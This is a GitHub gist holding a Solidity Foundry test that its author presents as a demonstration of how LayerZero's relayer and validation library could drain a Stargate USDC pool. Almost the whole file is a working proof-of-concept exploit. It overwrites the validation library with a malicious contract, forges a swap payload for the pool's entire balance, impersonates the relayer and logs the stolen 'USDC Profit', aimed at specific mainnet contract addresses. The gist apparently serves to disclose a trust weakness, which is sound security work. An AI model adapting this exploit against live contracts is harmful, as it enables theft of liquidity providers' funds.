Skip to content

Instantly share code, notes, and snippets.

@trayvox
Last active April 1, 2024 19:09
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save trayvox/fc7c3c73c4f4d36ad24437c3c6f628e1 to your computer and use it in GitHub Desktop.
Save trayvox/fc7c3c73c4f4d36ad24437c3c6f628e1 to your computer and use it in GitHub Desktop.
Example to show how LayerZero can rug all LP's if unverified contracts are malicious
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol";
struct Packet {
uint16 srcChainId;
uint16 dstChainId;
uint64 nonce;
address dstAddress;
bytes srcAddress;
bytes32 ulnAddress;
bytes payload;
}
interface IUltraLightNode {
function validateTransactionProof(
uint16 _srcChainId,
address _dstAddress,
uint256 _gasLimit,
bytes32 _lookupHash,
bytes calldata _transactionProof
) external;
struct BlockData {
uint256 confirmations;
bytes32 data;
}
function hashLookup(
address,
uint16,
bytes32
) external view returns (BlockData memory);
function updateHash(
uint16 _srcChainId,
bytes32 _lookupHash,
uint256 _confirmations,
bytes32 _data
) external;
function ulnLookup(uint16) external view returns (bytes32);
}
interface IEndpoint {
function inboundNonce(uint16, bytes memory) external view returns (uint64);
function receivePayload(
uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress,
uint64 _nonce,
uint256 _gasLimit,
bytes calldata _payload
) external;
}
interface IRouter {
function swapRemote(
uint16 _srcChainId,
bytes memory _srcAddress,
uint256 _nonce,
uint256 _srcPoolId,
uint256 _dstPoolId,
uint256 _dstGasForCall,
address _to,
IPool.SwapObj memory _s,
bytes memory _payload
) external;
}
interface IBridge {
function bridgeLookup(uint16) external view returns (bytes memory);
function lzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) external;
}
interface IPool {
struct SwapObj {
uint256 amount;
uint256 eqFee;
uint256 eqReward;
uint256 lpFee;
uint256 protocolFee;
uint256 lkbRemove;
}
struct CreditObj {
uint256 credits;
uint256 idealBalance;
}
function swapRemote(
uint16 _srcChainId,
uint256 _srcPoolId,
address _to,
SwapObj memory _s
) external returns (uint256 amountLD);
function token() external view returns (address);
function chainPathIndexLookup(uint16, uint256)
external
view
returns (uint256);
}
contract MaliciousValidation {
Packet public packet;
function setPacket(
uint16 srcChainId,
uint16 dstChainId,
uint64 nonce,
address dstAddress,
bytes memory srcAddress,
bytes32 ulnAddress,
bytes memory payload
) public {
packet = Packet(
srcChainId,
dstChainId,
nonce,
dstAddress,
srcAddress,
ulnAddress,
payload
);
}
function validateProof(
bytes32 blockData,
bytes calldata _data,
uint256 _remoteAddressSize
) external returns (Packet memory) {
return packet;
}
}
contract L0 is DSTestPlus {
address internal constant ENDPOINT =
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675);
address internal constant ROUTER =
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98);
address internal constant BRIDGE =
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97);
address internal constant POOL =
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56);
address internal constant ULTRA_LIGHT_NODE =
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C);
address internal constant ORACLE =
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0);
address internal constant RELAYER =
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa);
address internal constant VALIDATION_LIB =
address(0xe9AE261D3aFf7d3fCCF38Fa2d612DD3897e07B2d);
function run() public {
// Assume that RELAYER is malicious contract (proxy contract), allow "pranks" as
// we can make it do whatever we want anyway
// validation library can either be malicious, or just updated to a malicious by multisig
emit log(
"Draining the pool assuming unverified contracts are malicious"
);
MaliciousValidation temp = new MaliciousValidation();
hevm.etch(VALIDATION_LIB, address(temp).code);
MaliciousValidation validation = MaliciousValidation(VALIDATION_LIB);
ERC20 token = ERC20(IPool(POOL).token());
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
uint256 balanceBefore = token.balanceOf(address(this));
uint256 dstPoolId = 1;
uint16 srcChainId = 10;
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId);
uint64 nonce = uint64(
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress)
);
bytes32 hash = bytes32(
0xed33a1424055b2ec718d16e5a540e0a2f5d868f37a50d5cb6d88d3f06420aa0d
);
IPool.SwapObj memory swapData = IPool.SwapObj({
amount: token.balanceOf(POOL),
eqFee: 0,
eqReward: 0,
lpFee: 0,
protocolFee: 0,
lkbRemove: 0
});
bytes memory payload = abi.encode(
uint8(1), // type
uint256(0), // src pool id,
dstPoolId,
uint256(0),
IPool.CreditObj(0, 0),
swapData,
abi.encodePacked(address(this)), // to
bytes("")
);
emit log("Relayer update the value returned by the 'validation'");
validation.setPacket(
srcChainId,
0,
nonce + 1,
BRIDGE, // dstAddress
srcAddress,
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId),
payload
);
emit log("Relayer drains the pool on eth");
hevm.startPrank(RELAYER);
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof(
srcChainId, //_srcChainId,
BRIDGE, //_dstAddress,
2e6, // _gasLimit,
hash, // _lookupHash
bytes("") // _transactionProof
);
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
emit log_named_decimal_uint(
"USDC Profit",
token.balanceOf(address(this)) - balanceBefore,
6
);
assertEq(
token.balanceOf(address(this)) - balanceBefore,
swapData.amount,
"No Profit"
);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment